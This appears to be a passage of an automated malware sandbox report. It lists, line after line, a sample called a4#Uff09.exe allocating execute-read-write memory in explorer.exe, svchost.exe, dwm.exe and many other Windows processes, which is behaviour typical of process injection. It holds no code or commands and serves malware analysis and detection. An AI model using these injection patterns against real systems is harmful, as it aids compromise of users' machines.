                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 21D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2220000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: C20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: C30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D90000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DE0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: A60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: A70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2EE0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2F40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BA0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BF0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: A70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2600000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 4F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 500000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1230000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1240000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 9E0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: AE0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dwm.exe base: 20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\sihost.exe base: 3C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 990000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: AC0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\explorer.exe base: F20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: BE0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CB0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 8D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: EE0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 960000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 80000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 110000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 130000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: C50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: AC0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: A00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 1F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 260000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DC0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 9F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: AF0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dwm.exe base: 30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\sihost.exe base: 3D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 9A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: AD0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\explorer.exe base: F40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: BF0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CC0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 8E0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: EF0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9E0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 970000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 90000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 120000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 140000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: C60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: AD0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: A10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 200000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 270000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DD0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: A00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: B00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dwm.exe base: 40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\sihost.exe base: 3E0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 9B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: AE0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\explorer.exe base: F50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: C00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CD0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 8F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 980000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 130000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 150000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: C70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: AE0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: A20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 210000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 280000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DE0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: A10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: B10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dwm.exe base: 50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\sihost.exe base: 3F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 9C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: AF0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\explorer.exe base: F60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: C10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CE0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 900000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: A00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 990000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 140000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 160000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: C80000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: AF0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: A30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 220000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 290000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DF0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: A20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: B20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dwm.exe base: 60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\sihost.exe base: 400000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 9D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: B00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\explorer.exe base: 8390000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: C20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CF0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 910000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: A10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 150000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 170000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: C90000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2E0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: B00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: A40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 230000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: A30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: B30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dwm.exe base: 70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\sihost.exe base: 410000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 9E0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: B10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\explorer.exe base: 83A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: C30000 protect: page execute and read and writeJump to behavior
